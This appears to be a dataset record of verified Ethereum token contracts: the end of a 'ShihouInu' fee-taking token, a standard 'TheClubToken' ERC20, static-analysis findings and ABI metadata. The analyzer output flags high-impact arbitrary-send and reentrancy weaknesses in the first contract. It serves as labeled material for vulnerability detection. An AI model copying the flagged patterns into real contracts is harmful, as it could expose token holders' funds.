(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 100000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (1800 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | [] | [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"ShihouInu.sol": [323]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [148]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [82]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [74, 75, 76, 77]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [72, 70, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [440, 438, 439]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [404, 405, 406, 407]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [100, 101, 102, 103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [219, 220, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [193, 194, 195]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [208, 205, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [210, 211, 212]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [434, 435, 436]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [448, 446, 447]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [442, 443, 444]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [216, 217, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [185, 186, 187]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShihouInu.sol": [450, 451, 452]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [151]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [150]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ShihouInu.sol": [91, 92, 93]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ShihouInu.sol": [91, 92, 93]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"ShihouInu.sol": [177]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"ShihouInu.sol": [87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [143]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [153]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [139]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [144]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"ShihouInu.sol": [236]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"ShihouInu.sol": [399]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"ShihouInu.sol": [247]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"ShihouInu.sol": [386]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ShihouInu.sol": [221]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ShihouInu.sol": [305]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [305]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [221]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [335]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [354]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [354]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [335]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [335]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [345]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [345]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [345]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [354]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"ShihouInu.sol": [284]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ShihouInu.sol": [399]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"ShihouInu.sol": [398]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"ShihouInu.sol": [401]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"ShihouInu.sol": [131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 102, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 131, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 15, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 81, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 82, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 133, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 135, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 136, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 137, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 138, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 139, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 141, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 142, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 143, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 144, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 145, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 146, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 147, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 148, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 150, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 151, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 152, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 153, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 154, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 155, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 156, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 157, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 158, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 159, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 132, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 85, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 112, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 176, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 115, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 116, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 176, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 177, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 178, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 179, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 180, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 181, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 182, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 182, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 182, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 182, "severity": 1}] | [{"inputs":[{"internalType":"address payable","name":"FeeAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_cooldown","type":"bool"}],"name":"CooldownEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_multiplier","type":"uint256"}],"name":"FeeMultiplierUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_rate","type":"uint256"}],"name":"FeeRateUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxBuyAmount","type":"uint256"}],"name":"MaxBuyAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amountInPool","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setFeeRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"thisBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"timeToBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"timeToSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 00000000000000000000000012503B6cE2173dbd7C1ccdfD0d161c11c21Ad447 | Default | false | ||||
TheClubToken | 0xcd76ded96d3fddff02521cfb46aa7a1878573e26 | Solidity | pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'TCT' token contract
//
// Deployed to : 0xEaE9e0DDf0d5908AFe1B060958cCbF40c3FFAd86
// Symbol : TCT
// Name : THE CLUB TOKEN
// Total supply: 1,000,000,000
// Decimals : 18
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract TheClubToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "TCT";
name = "The Club Token";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0xEaE9e0DDf0d5908AFe1B060958cCbF40c3FFAd86] = _totalSupply;
emit Transfer(address(0), 0xEaE9e0DDf0d5908AFe1B060958cCbF40c3FFAd86, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
